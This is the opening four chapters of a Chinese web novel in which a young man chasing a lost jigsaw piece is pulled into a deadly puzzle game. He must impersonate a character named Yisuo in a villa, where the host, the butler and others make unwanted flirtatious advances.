《你们正常点，我害怕[无限]》
1. 第一章
《你们正常点，我害怕[无限]》
莲折/文
2024年10月4日首发于晋江文学城
本文已开段评
第1章
阳光从透明的玻璃窗照射进来，房间里明亮整洁。
巨大的白色桌前，青年缓缓俯身，拿着手里最后一块碎片，放向快要占据整个桌面的拼图缺口。
即将落下的那一刻，手中碎片猝不及防地从跌落，沿着拼图落在地上。
感觉手指莫名湿滑的青年不解低头，下意识去寻找碎片，却没在地板上看到。
视线往前，碎片正在不停往前滚动，像个圆润的球。
程朔怔住，眼里的疑惑很快转变为惊疑。
这碎片长腿了吗？竟然能一直往前滚？
他不信邪地眨眨眼，抬脚朝着拼图走去。
房间很大，桌子摆放在角落，拼图直线往前滚，直到贴在对面的墙，朝着左边角落滚去。
太邪门了。
要不是想拼好图的心情太强烈，程朔一定要拿起手机录下来这不可思议的一幕。
一路滚至角落，拼图终于没了动静。
程朔松口气，弯腰去捡，却在快触碰到的一瞬间，手指染上一层冰凉。
怪异感使他不得不垂眸，发觉角落里的碎片消失了，他的手指触碰到地板。
碎片呢？
程朔睁大眼，不可置信地看了又看，甚至跪趴在地上，对着角落用各种角度寻找，生怕自己的眼睛选择性忽视。
可无论怎么寻找都没用，最后一块碎片就这么凭空消失了。
简直是折磨死强迫症。
程朔虽然不是究极强迫症，但也非常难受，毕竟这八千块拼图花费他一个月时间。
今天好不容易要完成，就唯独差那一片。
看着桌上极为显眼的缺少区域，程朔从地上爬起来，拍干净膝盖上的灰尘。
“妈。”他喊出声，白皙干净的脸上闪过些许无奈，“我拼图碎片不见了，你进来帮我找找。”
“看不到你去买副眼镜找。”母亲没好气道，嘴上这么说，还是抬脚朝这边来。
听着靠近的脚步声，程朔再次低头，发现角落里闪烁着微光，而碎片就立在这微光里露出一角。
脑子还没反应过来，身体率先有了动作，他伸手去抓，捏住的那一刹那，眼前骤然陷入黑暗。
世界似乎被上帝按下了暂停键，耳边静到因这突如其来的黑而变得沉重的呼吸声都无法捕捉到。
随即，心跳声变得震耳欲聋，疯狂撞击着嗓子眼，提示着四周环境的怪异危险。
不过就弯腰捡最后一块拼图，这是来到了异空间吗？
程朔咽咽口水，不停转身，试图看到熟悉的房间。
四面八方黑得伸手不见五指，脚下有种莫名悬浮感，仿佛动一下就会坠入无尽深渊。
程朔不敢再乱动，大喊：“妈，妈你听得见吗？”
无人回答，他的声音被黑暗无情吞噬，自己也快与黑暗融为一体。
天地间仅剩他一人。
很少出现的紧张感如潮水般铺天盖袭来，几乎将程朔整个人吞没。
他微抿了下唇，催眠自己冷静，睁大眼睛适应着黑暗，分辨着周围。
三分钟后，眼睛都快瞪成斗鸡眼的程朔放弃观察，缓缓蹲下，努力平复着乱跳的心脏。
过了几秒，安静的四周响起他小声地嘟哝：“能不能让我先回去拼好拼图啊？”
“我有一点点强迫症。”
“我妈严重强迫症，她看到会疯的。”
“碎片给我，让我回去半分钟也可以。”
“好吧，我现在这阶段强迫症也挺严重的。”
……
母亲推开房门，原本还想继续开玩笑，没想到偌大的房间空无一人。
“程朔？朔朔？找拼图找哪去了？”母亲四处寻找，目光落在桌上缺少碎片的空隙，咬牙道，“你这图拼得想逼疯强迫症吗？赶紧把这图拼好，我看不得。”
“程朔？”
“……真去买眼镜了？”
“人呢？”无论怎么叫都得不到回应，手机在桌上也打不了电话，母亲站在原地，略微傻眼。
*
时间无法被捕捉，不知道过去了多久，差点睡着的程朔耳边响起轻微的滴水声。
他顿时清醒，睁眼看到了微光，缓缓抬头。
面前飘着一个巨大的拼图，图片是一个拿着权杖的女人。
她有金色长发，头戴着金色皇冠，身穿白色纱裙，背后张开一对洁白漂亮的翅膀，面容虔诚，似在祈祷什么。
右手拿着权杖，左手放在心脏处，嘴角露出温柔的笑。
一切都很美好漂亮，唯独眼睛缺少一块。
看清这一幅拼图的程朔：“？”
他浑身不自在，仿佛有千万只蚂蚁在身体里啃食着他的血管，让他此刻非常想借一双翅膀飞过去把眼睛填补，或者把旁边的另一块眼睛拿掉。
既然无法完整，那起码要做到对称美。
三室一厅大的拼图上升到程朔无法看清完整的模样才停下。
耀眼的金色光芒亮起，打在拼图上，将那副权杖女王照得神圣不可直视。
程朔觉得眼睛快瞎了，干涩泛酸，好几次发热有湿意涌现，又很快消失。
瞎了好，瞎了就不会犯强迫症了。
程朔眯着眼，尝试后退一步，发现脚下变成实地后放心后退，直到退到能看到拼图全貌的地方。
“欢迎来到拼图游戏。”
耳边响起一道轻柔的嗓音，是羽毛扫过心尖，带起细微的痒意，躯壳里的灵魂不自觉放松，所有注意力都集中在那声音中。
“请随机挑选的玩家进入副本后在规定时间内找到最后一块拼图，返回此空间填补，即为闯关成功，反之失败，直接淘汰。游戏一共十二轮，闯关中会碰到各种未知情况，请玩家做好心理准备。十二轮闯关结束后，会被安全传送回现实。”
“截止今日，参与游戏人数共计36135789位，通关人数19位。亲爱的幸运玩家，祝您玩得开心。”
程朔一直沉浸在那声音中，听到最后一句话，抬头看着那块不完美拼图，很想跳起来竖个中指。
好端端把人拉进莫名游戏，三千多万就通关十九人，这是哪门子幸运玩家。
倒霉玩家还差不多。
下一瞬，金光闪过，程朔身体不受控制地往下坐。
屁股接触到坚硬的东西，他伸手摸了下，是冰凉丝滑的椅子。
抬头刹那，眼前出现一张正不断往前延伸的桌子，两边同时出现椅子。
桌子延长结束，最后一把椅子出现在程朔对面，桌尾的位置。
感觉到自己坐在主在的程朔浑身别扭，环顾周遭，依旧昏暗无比，只有头顶的光落下。
程朔抬头，果然看到头顶悬浮着那个巨大的权杖女王拼图。
他收回目光，发现两边椅子不知何时出现了身影，只有对面的椅子依旧空着。
那些人只能看到模糊的身形，脸部一点轮廓，其余地方被故意模糊掉。
时间一分一秒过去，四周静默到一切声音都不存在。
程朔直直地盯着对面椅子，直到上面出现一个人形。
人满了。
由于是面对面，即使隔着距离，看最后一个人比看其他人要清楚一些。
程朔注意到对方抬了下脸，明明看不清具体轮廓，可仅仅只是这么一个简单的动作，他都能从中窥探出一丝散漫感。
对方伸出一只手放在桌面上，撑着侧脸，然后抬头，与他直直对视。
那股视线穿过黑暗袭来，无法避免，强烈灼热，带着一种无法琢磨透的危险感。
背脊微凉，程朔感受到前所未有的压迫感，这让他缓慢低头，试图改变姿势来转移一下注意力。
头顶拼图倏然光芒大盛，桌上浮现一个骰子。
“欢迎各位来到拼图游戏。”陌生的声音响起，
不同于坐在这里之前听见的，这次的声音像极毫无感情的机器人说出的。
“简单介绍一下这款游戏。各位玩家应该都看到头顶缺少关键性的一块碎片。只要进入游戏副本，破解谜题目标，就能够获得拼图。获得拼图碎片的玩家从副本离开后会回到此空间，将拼图放在上面，便是成功一轮。成功十二轮后闯关成功，玩家可以选择一个奖励回到现实。”
虽然声音不好听，但比第一个声音介绍的内容要详细许多。
还有奖励。
要是闯关成功了，他想要的奖励也许是把他的一点强迫症弄消失。
程朔面无表情地想，下意识换个姿势，手肘放在桌上，双手交合，撑着下巴，略微垂着眼，盯着黑色长桌发呆。
“本轮游戏一共十四位玩家，属于新手玩家的一次温馨提示：本次副本拼图碎片共有五片，先找到先得，未获得碎片玩家将有一次复活机会，进入抢夺碎片副本。副本若失败，直接淘汰。”
“进入副本后会获得详细的通关方法以及谜题线索、目标。祝各位玩家好运。”
声音停止后，桌上有人脑袋那么大的骰子闪起七彩光芒，开始疯狂转动。
程朔视力算好，但也只能勉强看到残影。
他环顾四周，发现太安静
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了，不至于每个人都不说话，尝试张嘴，果然无法出声。
不能说话、看不清人脸，摆明了在此空间中不允许玩家们互相交流，得知彼此信息。
骰子毫无征兆停下，停在数字6，下一秒声音响起：“本轮副本背景为现代。”
有不同背景，不会还有末世吧？
程朔才刚冒出这个想法，椅子猝不及防开始转动。
他整个人宛如被扔进洗衣机里，天旋地转间，眼珠都有种快从眼眶中甩出去的荒唐感。
终于，一切结束，恢复平稳。
程朔张嘴干呕一声，眼前黑的白的各种乱七八糟的颜色拼凑在一起，耳边嗡嗡像是徘徊着十万只蜜蜂。
等到一切感观恢复，他发现自己坐在一个陌生房间中。
房间不到二十平，一张上下床、一张桌子、还有个独立卫生间。
嘴里酸涩到难受，程朔来不及再仔细观察，冲进卫生间吐出酸水。
胃里好似藏着鲨鱼，不停翻滚抗议，他手指紧紧扣着白色洗手池，随着呕吐疯狂用力，来试图抵抗喉咙的难受。
弯着腰的青年用力到指尖开始发白，微弯的脖颈泛起一点红，透出几分脆弱。
那张脸没表情时略显温吞乖顺，现在表情痛苦，再加上发红的眼，有种极其吸引人的美感，让人想伸手将他弄得更为凌乱可怜。
足足吐了五分钟，程朔眼泪各种乱流，脑子都快吐麻木，才终于结束这痛苦的呕吐。
他打开水龙头，用旁边的工具清洗干净，洗脸漱口，整个人这才活过来。
要命的游戏，如果每次进入副本这么难受，他都不用玩了，直接淘汰在进入副本。
程朔吐出一口气，返回房间，认真打量着四周。
挺干净整洁，和他房间装修差不多，风格简单为主。
程朔走到门口，握住把手拉开门。
门可以打开，能看到对面白色的墙壁，与墙壁上方的挂画。
但当他尝试出去，整个人被一个看不清的透明屏障挡住，手指抬起触摸，坚硬到无法打破。
看来出不去。
程朔返回房间，想研究里面的东西，结果房间里唯一能翻找的就桌子抽屉。
他小心翼翼地拉开抽屉，除了一个眼镜盒外什么都没有。
程朔打开眼镜盒，里面是一副无边框透明眼镜，只有眼镜腿是银色的。
他试图拿起，眼前跳出一个蓝色，类似于网游里的提示框。
“这是伊索的眼镜。”
谁是伊索？
心里才出现疑惑，提示框消失不见，左边弹出一个新的蓝色框。
人物介绍：
姓名：伊索
年龄：二十三岁
形象：黑发棕眼，近视五百度，戴着一副银色无边框眼镜。
身份：刚毕业的大学生。
性格：非常糟糕~
备注：请扮演好伊索，千万不要被游戏里的捕捉者发现，一旦发现你将会立刻被淘汰死亡。
线索：这座山中别墅中藏着巨大的宝藏，可别墅主人忘记了自己将宝藏藏在哪里，请来了十四位探案家在来到别墅，替他寻找宝藏。你是其中一位。
请找到宝藏，宝藏一共有五份。
宝藏应该就是所谓的拼图碎片。
程朔捏了捏眼镜。
玩游戏好歹有完整的介绍，再不济进来时会给个规则手册，哪像现在这个游戏给这么零星一点。
他吐槽后戴上眼镜，眼花缭乱，头晕目眩，慌忙摘下来。
没想到拿下直接看不清了，眼前模糊无比，程朔哭笑不得，重新戴上，这次世界彻底清晰。
看着那蓝色边框中的性格，他眼皮跳了跳。
这么短的介绍就算了，重点是非常糟糕后面还跟着一个波浪号，怎么看怎么让人不安。
房门被人敲响，低沉的嗓音从门后传进来。
“伊索先生，打扰了。您该出来该吃饭了。”
左边蓝色边框消失，最中间重新出现红色提示框——午餐时间到，请到客厅就餐。
程朔站起身，本想找个东西看看自己的模样，发现没有镜子，也没其他能用的，只能放弃探究，打开房门。
门口站着一位穿着黑色西装的男人，身形高大，黑色头发，五官深邃，棕色双眸，有点混血感，站姿是一种面对客人时的恭敬。
程朔猜测这人应该是别墅的管家。
他有些适应不了眼镜，总觉得鼻梁不舒服，想拿下来。
手还没来得及抬起，忽然听见管家说：“伊索先生和之前不太一样。”
不是吧，刚进来就暴露了？？！
2. 第二章
第2章
程朔动作霎时顿住，脑子里闪现之前看到的所谓捕捉者，身体僵硬，下意识挺直背脊。
难不成这个管家就是捕捉者？
他回想着伊索性格，沉默了。
完全没参考性，糟糕太广泛，怎么样才算糟糕。
程朔缓慢地吐出一口气，在心里积攒着愤怒，差不多时抬头恶狠狠地瞪着管家，故意不礼貌地用手指着他的脸，怨恨道：“你打扰了我的美梦，我要和你的主人投诉你。”
这么凶神恶煞，应该足够糟糕了。
管家微怔，旋即露出一抹微笑。
他没有多说什么，只是礼貌且恭敬地再次提醒程朔下去用餐，随后去敲其他房间。
应该是成功了。
第一次蒙混过关，程朔说不出的高兴，上前两步，确定自己能出来后打量着走廊。
装修风格偏华丽，走廊的吊灯复杂亮眼，一共有十四间房，他住在第一间。
随着管家的敲门，其他人陆续打开门。
程朔与第二间房间出来的人对上眼。
对方眼底满是迷茫，看到他有一瞬间的激动，让程朔确定，对方的确同他一样是玩家。
“我，我是什么样子？”第二间玩家指着自己的脸询问。
程朔打量着他。
看起来三十多岁，皮肤是一种健康的小麦色，圆脸，眼睛有点小，笑又不笑的样子有点憨憨的。
程朔当即给出回答：“老实人的样子。”
男人或许没想到会得到这么个回答，愣住了：“老实人？”
程朔点头，对方立刻说：“你看着也很老实。”
程朔微笑，他自己的脸争议很大，被人说过老实，也被人说过招人喜欢，这没镜子，他实在确定不了自己顶着一张什么样的脸。
“请大家下去用餐。”管家出声提醒。
所有房间的玩家站在门口，互相打量着对方，却没人动。
程朔在第一个，他不想轻举妄动，但对上其他玩家以及管家温柔的目光，只能咬了咬后槽牙，做了第一个下楼的人。
好在这游戏没有那么一惊一乍，他从旋转楼梯安全下到一楼。
客厅依旧是华丽精致的装修风格，除了一个长桌外，空到可以塞下几百个人。
程朔一边打量，一边默数着装修要花多少钱。
估计最少也要七位数，这别墅主人真有钱。
除去主位，两排位置共十四个。
程朔不知道坐哪个位置，停下来回头看管家，用眼神示意。
跟在众人身后的管家只保持着完美温柔的笑，完全读不懂他的眼神。
程朔只好放弃，注意到其他玩家表情变了下，全部盯着他身后，仿佛后面有什么可怖的东西。
他回头，主位上不知何时多出来一个人。
对方穿着一看就十分昂贵的黑色礼服，皮肤异常白，仅从侧脸就能看出俊美出挑。
程朔没听见脚步声，再加上其他玩家的表情，猜测这个主人是突然出现的。
正当他沉思中，主人倏然偏头，离他最近的程朔猝不及防与他目光对上。
四目相对，程朔差点坠入那双深沉不见光的黑眸。
他不自在地扯了下衣服，往旁边站了两步，摆明意思——你看我后面的人吧，别看我。
男主人目光随着他挪动。
躲不掉，程朔又想起捕捉者，木着脸假装无事发生。
这样面对面，他彻底看清了男主人的长相。
一张好看到挑不出一丝瑕疵的脸。
对方坐姿端正，气质优雅矜贵，没什么表情的模样看着比后面的管家阴郁多了。
最重要的是，程朔不知道这主人是单对他，还是就这性格，看他的眼底带着一种非常复杂的情绪。
程朔最害怕这种捉摸不透的人，所以在管家出声让他们落座时，毫不犹豫走到尾巴位置坐下。
其他人见状顿时哄抢位置，谁都不想坐在最近的地方。
男主人忽然抬手，敲了敲右边第一位，微笑出声：“伊索先生，你的位置在这里。”
坐下后的程朔挪动了下椅子，听见那主人的话瞥了眼他所在的方向，只觉得他的手挺好看，压根没注意他说的话。
直到四周静默下来，他才嗅出一丝不对劲。
其他人互相用眼神交流，无声询问男主人口中的人是谁。
程朔这才后知后觉想起男主人的话——伊索。
伊索不就是自己吗？
他好不容易放松下来的身体再一次僵到无法动弹，抬头对上男主人的目光。
男主人冲他露出一抹笑意，收回手，换了个坐姿。
他单手放在桌面，其余手指撑着脸，修长的食指抵在太阳穴的位置，就那么歪着脑袋直直地望着他。
为什么他永远是第一个被开刀的。
程朔欲哭无泪，面上还要维持伊索的糟糕人设，什么情绪都不能外露。
在所有人的注视下，他面无表情地站起身，挪动着步伐朝男主人走去。
缓慢的步伐并没有人催促，其他人不敢，管家则是没看他，男主人在他逐渐缩短距离后脸上的笑容越来越多。
程朔全程算是夹着屁股到达了右一位置，拉开椅子坐下。
原本末尾的位置已经被人占了，另一个没坐到位置的只能坐在左一。
还好，起码有个人和他一起。
程朔得到安慰，悬着的心总算可以放下来。
餐桌上还是空的，管家离开准备饭菜去了。
程朔低着脑袋盯着桌面，大脑飞速运转，思考着假扮伊索的对策。
脑袋上猝不及防多出一只手，他差点跳起来，抬头发觉男主人温柔到吓人的笑，整个人从头冷到脚。
这是搞什么。
他眼神惊恐，还不能被看出来，桌下的手狠狠地揪着大腿肉，绷着面容，努力隐藏着眼底的情绪。
男主人轻柔地抚摸着他的头，笑着开口：“伊索先生和昨天有点不一样。”
充满笑意的话温柔缱绻到像是对恋人的问候，同时头顶的手依旧在抚摸着。
双重夹击，程朔虎躯一震，脑子差点飞出九霄云外。
不同于先前管家说的，男主人这句听起来不经意的话就像敲定他被换了。
难不成真要拿他开刀，在场谁会是捕捉者，他不想第一个被淘汰。
还有这越来越亲密的动作哪像什么正经游戏，不会是那种带着点色彩的游戏吧？
程朔垂眸，无人能看见他的表情，只能通过抿紧的唇瓣窥探出一丝
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他的不爽。
几秒钟后，他猛地抬手打开主人的手，气脾气不好地开口：“哪里不一样？”
青年显然在生气，纤细修长的脖颈随着呼吸轻微动着，极为引人注目。
男主人撑着下巴，一句话说的丝毫不犹豫：“比昨天更好看了。”
这甜如蜜的话比上一句还要让人惊悚。
好不容易觉得自己撑过去的程朔起了一层鸡皮疙瘩，再次陷入焦灼，身体僵到都可以拉去冬天的大东北当成冰雕供人观赏了。
十四个人，为什么只有他被点，不能慌。
程朔挤出一抹勉强的笑意，没看男主人，思考两秒，再次表现出糟糕的人设。
“可别要说我好看，我不喜欢好看这个词，也并不会好看。”
他语调冰冷，隐约带着几分薄怒，登时让大厅氛围变得压抑起来。
很好，这诡异的氛围，看来人设成功拿捏了。
程朔抿紧的唇总算得以松懈半分，内心有些小窃喜，却又不敢太放松。
谁都不知道这个主人后面会做出什么事来。
“好的。”男主人依旧笑着应下一声，双手放在桌上，看向每个人。
所有人眼观鼻鼻观心，不与他目光相碰。
“大家轻松一些。”男主人说，声音却不像先前和程朔那般充满笑意，毫无情绪，“马上就可以用餐了。”
话音刚落，管家推着餐车缓慢过来。
程朔视线落在餐桌上，转移时无意间对上管家的脸，注意到他冲自己微微一笑。
他莫名有种发怵，毛骨悚然的感觉，一回头又和男主人面对面。
男主人就那么一眨不眨地盯着他，嘴角笑意熟悉，眼神却充满危险，摆明看到了他和管家的对视。
怎么有种偷那什么的紧张刺激感。
程朔又抓了下自己的大腿，提醒自己清醒点，一放松就容易被淘汰致命。
管家停下，挨个上菜，通过银色的盖子，程朔看到了自己的脸。
五官端正，眼睛颜色和现实的他一样偏棕色，没有他原本的眼睛大，脸型比之前小一些，戴着无框银眼镜，不说话没表情时显得老实木讷。
这张脸神似他，却又不是他。
想起进入游戏前桌前所有人都看不清脸，程朔猜测游戏里玩家的脸都不是自己的。
菜上齐，却没人敢动，程朔饿到肚子都在抗议，动了动嘴想说话，最后强行忍住。
“大家用餐吧。”男主人轻声开口。
程朔打开盖子，拿起刀，左手还没来得从桌下拿出握叉子，突然被一只大手紧紧覆盖住。
掌心炙热的温度烫的右手刀子直接没握住，掉在餐盘上。
程朔整个人仿佛炸毛的猫，一句“我是直男，别摸我”差点飙出口。
除刀碰撞盘子发出的刺耳声响，现场完全是死一般的寂静。
程朔紧张到都没发现自己是唯一一个动刀准备吃饭的人。
他视线晃了晃，稳住心态后往下移，看看桌下那只手，又看看面上没什么表情变化的男主人，瞳孔都因为震惊和惊惧放大了一刹。
程朔试图抽出自己的手，被男主人握得更紧，
想再次挣扎时，男主人歪着脑袋盯着他：“伊索先生怎么了？哪里不舒服吗？”
3. 第三章
第3章
明知故问。
注意到其他人纷纷投来的目光，程朔咬紧牙，拼命回想自己在房间里看到的介绍框。
上面也没说伊索和这别墅男主人有什么关系，这个男主人为什么几次三番对他动手动脚。
程朔再次挣扎，还是没能挣扎开，男主人甚至得寸进尺地与他十指相扣。
无意间抬头，程朔发现男管家不知道何时站在他身侧，沉默地低着头，而眼神所看的地方正是他和男主人交握的手。
不知道为什么，他从男管家的表情里看出一点微妙的不爽。
程朔：？
这怪异的感觉……伊索难不成和这个男管家也有什么？
他到底顶着一个什么壳子玩这个游戏。
程朔恨不得当场晕过去。
他努力露出一抹笑意，右手重新握住刀，抵在牛排上，望着男主人用眼神警告赶紧松手。
或许是他的表情太过难看，男主人松开手，还恋恋不舍地捏了捏他的小拇指。
调情一般的动作刺激的程朔背脊窜上一层又一层的寒意，吃饭的胃口都被吓没了。
好在牛排的香味重新激发他的饿意，程朔拿起刀叉，把牛排想象成男主人疯狂用力摩擦。
明显发泄的“咯吱”声不停，其他玩家目瞪口呆。
程朔并不害怕，这样才符合他作为伊索的糟糕人设。
看男主人越来越温柔，还有些宠溺的目光就知道，他喜欢这反应。
碰到变态了。
程朔插起一块牛排放入嘴中，用力咀嚼着，余光瞥见男管家一直偷看自己，浑身难受。
这游戏里的NPC有没有正常点的了。
腹诽完他发现其他人都没吃，咀嚼的动作一顿。
被男主人弄得大意了，还不知道这东西能不能吃。
嘴里没来得及咽下去的牛排吐也不是，咽也不行，卡在那里，程朔犯难了。
而一旁的男主人像与他心有灵犀般，优雅地切开一块牛排放入嘴中，慢条斯理地咀嚼、吞下，还递给程朔一个安心吃的眼神。
程朔避开视线，终于敢咽下，其他玩家见状这才敢吃。
一时间大厅里只剩下刀叉摩擦盘子，切牛排的声音。
程朔吃过饭才有种自己身处游戏中的真实感。
他擦干净嘴，不知道接下来有什么安排，只能继续坐在位置上。
他不喜欢喝酒，吃完牛排有些渴，又没其他喝的，端起红酒摇晃几下尝试喝了一口。
难喝。
准备放下的程朔不忘贯穿伊索人设，重重地放下酒杯，毫不顾忌地吐槽：“难喝。”
“拿下去，下次不要给伊索先生喝这个了。”男主人顿时笑着开口。
管家端着酒杯离开之际，不知道有意还是无意，手指微擦过程朔放在桌上的手。
皮肤短暂相触，背脊涌上奇怪的电流感，程朔磨牙。
伊索到底怎么招惹他们，让他们可劲逮着他做这些暧昧动作。
程朔怕旁边的男主人目睹这一幕发癫，好在男主似乎没看到。
他擦擦嘴，注意到不少人都用完餐了，坐在位置上等着。
一分钟后，男主人放下刀叉，优雅地擦拭完嘴后笑吟吟道：“大家可以回房间休息了，记得下来用晚餐。”
就这样结束了。
程朔蹙眉，后悔早知如此自己应该早点上去，这样就不用被管家擦到手了。
他站起身，顶着男主人的目光硬着头皮往楼上走去。
到达二层，程朔刚好碰过管家上来，伸手拦住管家，沉吟片刻：“你的主人，为什么会……”
他故意没说全，怕暴露身份，留给管家自己想象空间。
没想到管家果然听明白其中的意思，低垂双眸，用一种温柔特别真诚的表情开口：“伊索先生不记得了吗？”
程朔亮出人设：“一天二十四小时，我哪有时间记一些不重要的事儿？别废话。”
管家倏然上扬唇角，重复他最后一句话：“不重要事儿？”
那重复的语调莫名让程朔觉得浑身不自在，他搓搓手臂：“不说的话我就回房间了，没那么多时间和你浪费。”
“我说。”管家恭敬地冲他一笑，“伊索先生昨天刚来的时候就跟主人喜欢男的，也对主人表达出了十足的喜欢。”
程朔瞪大眼，差点以为自己听错了。
刚来就说自己喜欢男人？玩这么大？
怪不得那主人这么变态，原来他顶着的这个壳子比主人还要变态。
对上管家温柔的眼神，程朔差点掐人中，他吐出一口气，想起什么，内心忐忑地颤了颤。
“我跟你说了什么吗？”
“伊索先生不记得了吗？”管家又是重复的一句话。
程朔这次的不耐烦不是假装出来的：“我需要记得无关紧要的事吗？”
这一次管家终于不再磨叽：“没有。”
得到意外的回答，程朔有些诧异，不过也没再多问，强行忍住想要道谢的冲动，看了眼楼下才陆续开始上楼的玩家。
现在是自由时间，和玩家们沟通的好机会，但有捕捉者在，沟通可能会暴露人设。
程朔最终只能回到自己房间，看看后面能不能找到机会和其他玩家对信息。
“伊索先生。”关上门还没来得及坐下，敲门声响起。
程朔打开门，男管家站在门口，手上端着精美的果盘：“水果时间。”
程朔没有多想，接过发现还都是自己喜欢的水果，谢字都已经出口了，又忍住了。
伊索人设确实糟糕，连他这个扮演者心情都变糟糕郁闷了。
“你可以离开了。”程朔板着脸，说完后去关房门。
关门前，管家似乎不太高兴，一直上扬的唇角都抿住了。
没办法，伊索恶劣的性格不可能道谢。
程朔坐在椅子上吃着切好的水果，在心里默默道谢。
吃完后，他洗干净手，拉开房门打算去找其他玩家，没想到往前走了两步，又是熟悉的透明屏障。
程朔皱眉，用手拍了拍屏障，转身回到位置坐下。
看来只有饭点他们才能出去，其余时间只能在房间中待着。
能做的事太少，程朔很快没办法坐着，躺在床上迷迷糊糊睡了过去。
夜幕悄然降临，躺在床上的青年没有盖被子，被冷到蜷缩了下身体。
脸上戴着的眼镜悄然松落，挂在嘴唇处。
程朔被那种不适感弄得清醒，睁眼才发现窗外天黑了。
夜晚的房间温度和白天简直是两个极端，他冷到瑟瑟发抖，慌忙将被子裹在身上，戴好眼镜。
视线变得清晰，程朔不太确定睡着后管家有没有过来通知用晚餐。
睡了一觉，完全没了困意，缩在被子里的身体很快回暖，程朔下床开灯，打开衣
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柜找出干净的衣服，进入浴室洗澡。
等洗完澡，吹干头发，开门声突兀响起。
程朔从卫生间探出身体，还以为自己听错了，看到打开的门缝才确定之前声音是真的。
“谁？”他顿时警惕出声。
下一秒，房间的灯被关闭，室内陷入一片黑暗，什么都无法看清。
程朔更为警惕，拿起吹风机死死地盯着门的方向。
原本敞开一条缝隙的门被从外面推开，一道模糊的身影鬼鬼祟祟地走进来关上门。
走廊微弱的灯光只来得及让程朔看清是个男人，个子挺高。
“出去。”他举起来吹风机，对准越来越近的男人，呼吸不由自主地变得急促起来，“不然我弄……”
程朔还没说完，来人几步逼近他，抓住他的手腕直接将他推到角落。
背靠着冰冷的墙壁，再无退路，眼前之人发出一声轻笑。
通过这声笑，程朔确定这人不是男主人，也不是男管家。
玩家应该和他一样被困在房间里出不来，那这人是谁？竟然能直接进入他的房间。
“别紧张。”对方柔声开口。
程朔甩开男人，拿着手中吹风机对着男人的脑袋用力挥下去。
关键时刻，他听见男人用一种极为熟稔的语气问：“今晚喜欢什么姿势？”
程朔：“？”
那一刹那，大脑空白到理智完全脱离，他无法准确理解出男人口中的姿势是什么意思。
“你拿吹风机干什么？刚洗完澡？”对方注意到他举起来的吹风机，快速拿下，自然地放回卫生间中，返回后握住他的手腕凑近闻了闻，“真的刚洗完澡，好香啊，伊索。”
这是从哪里来的变态。
程朔浑身一个激灵，血直冲脑门，迫使他反应过来推开男人，忍住送上一拳的冲动。
伊索玩得太大了。
告白的男主人，暧昧不明的管家也就算了，现在竟然怎么又来了一个男人。
一天时间竟然能招惹了这么多人。
重点是他是个直男，根本不喜欢男人，扮演伊索游走于这些人之间完全不可能做到。
昏暗之中，程朔脸色白了又青，最后变成了极度无语的黑。
没等程朔想出对策，房门再次被推开。
这次来人倒比第一个正大光明多了，进来后发现没开灯，迅速关闭房门。
对方一眼注意到程朔和第一个进来的男人，快步走来。
“伊索，你还没回答我呢。”第一个进来的男人挡在程朔面前，焦灼地问。
下一秒，男人的脑袋被一只无情大手用力推开。
窗外夜空深黑，月亮游动。
借着淡淡的月光，程朔看清了眼前男人的脸。
一张温润，显得有些斯文败类的脸，来人笑容危险：“今晚和谁睡？”
程朔：“……”
他麻木地站在原地，灵魂受到重击，恨不得原地飞出伊索身体。
这个时间点，两个男人，引人遐想的台词，这真不是什么18R游戏吗？
离是离不开的，还得扮演好这个喜欢多角恋？招惹无数男人的伊索？
程朔绞尽脑汁地想着该怎么回答，房门猛地被敲响，熟悉的声音响起
“伊索先生，你睡觉了吗？”
程朔：:-D。
哈哈，又来一个，刚好四个人，可以搓一桌麻将了。
4. 第四章
第4章
程朔眼角抽搐，嘴唇紧抿，在发疯边缘不断游走
“咚咚咚。”没得到回应，管家继续敲门，关心地询问，“伊索先生，我刚刚看到有人进了你的房间。你没事吧？”
确实进了，不过不是一个，是两个。
看着面前两个站直身体，一点动静都不敢发出的两人，程朔更有一种和他们正在进行偷-情的感觉。
让管家进来更加说不清。
“没事。”他大声喊道，“你看错了，我房间里就我一个人。”
“你打开门，让我确定一下。”门外的管家耐心道。
程朔一个头两个大，再次看了眼两人。
斯文败类男人似乎会错意，缓缓俯下身，将脑袋凑近程朔后还想伸手去搂他的腰，被程朔及时避开了。
“是不是很刺激？”男人笑出声，“别紧张，他不敢进来。”
程朔想一脚把人踹飞。
他用力推开男人，走到门口态度恶劣地说：“你看错了，房间里就我一个人，你进来确定什么？大半夜不睡觉就去发呆。”
“抱歉。”管家语气低了下去，程朔心尖一抖，感觉自己像个恶人。
他张张嘴，听见管家带着歉意的声音响起：“但我必须要进去查看，确保伊索先生的安全。”
程朔刚冒出来的一点愧疚被他的坚持打消。
他深吸一口气：“我要是不开门呢？”
“那我会敲到伊索先生开门为止。”管家说，“为了你的安全。”
“真讨厌。”程朔愤怒道，扭头冲着两人做手势，示意他们赶紧藏起来。
两人就像是习惯了这个场面，轻车熟路地走到床前，一个躺在下面，一个躺在上面。
程朔盯着上下床，沉默了。
他进游戏的时候还在想怎么一个人住上下床，难道就是因为这个吗。
真会玩。
盯着两人盖好被子躺好，程朔闭了闭眼，重新睁开时拉开房门。
“明天我会向你的主人投诉你。”他恶狠狠地瞪着管家，“大半夜打扰人睡觉，没有礼貌。”
“实在抱歉。”管家鞠躬道歉，站直身体后走进房间，将门口的灯打开。
暖色的灯光下，他一眼注意到明显躺着人的床，许久没动。
程朔紧张地打量着他，可惜从进来后他的神色就没变化，实在看不出什么。
“老盯着我的床干什么？”半晌没得到反应，程朔煎熬不住，伸手抓了下管家的手臂，“赶紧检查，检查完了就出去。”
尴尬的事情发生了，他明明用了力，但管家丝毫没被他抓动，反而转身看向他，眼神带着几分不明，似对他那个动作疑惑。
程朔低头掩盖自己的尴尬，这年头恶人也太不好当了。
好在管家并没有再关注床，走到卫生间检查了一遍，确定没有人后之后返回床边。
“伊索先生。”他温声地唤道。
这语气惊得程朔汗毛直竖，努力抬头，用鼻孔看人：“干什么？有话快说。”
头顶的灯光照耀下，管家的五官更为立体深邃。
男人这次没有笑，一双浅色的眸子直直地看着程朔，眼底倒映出他的模样，明明亮着灯，却没有任何光闪烁其中。
那种形容不出的感觉遍布而来，像是一张网缠绕人的躯体，令人颤动。
管家轻声说：“房间里只能住一个人。”
没等程朔开口，他再次一笑，那种异样感全部消失：“晚安，伊索先生。”
管家走向门口，步伐倏然一顿，回头看向程朔，问了一句非常奇怪的话：“伊索先生现在还需要人陪着才能入睡吗？”
程朔大脑机械，整个人快要爆炸。
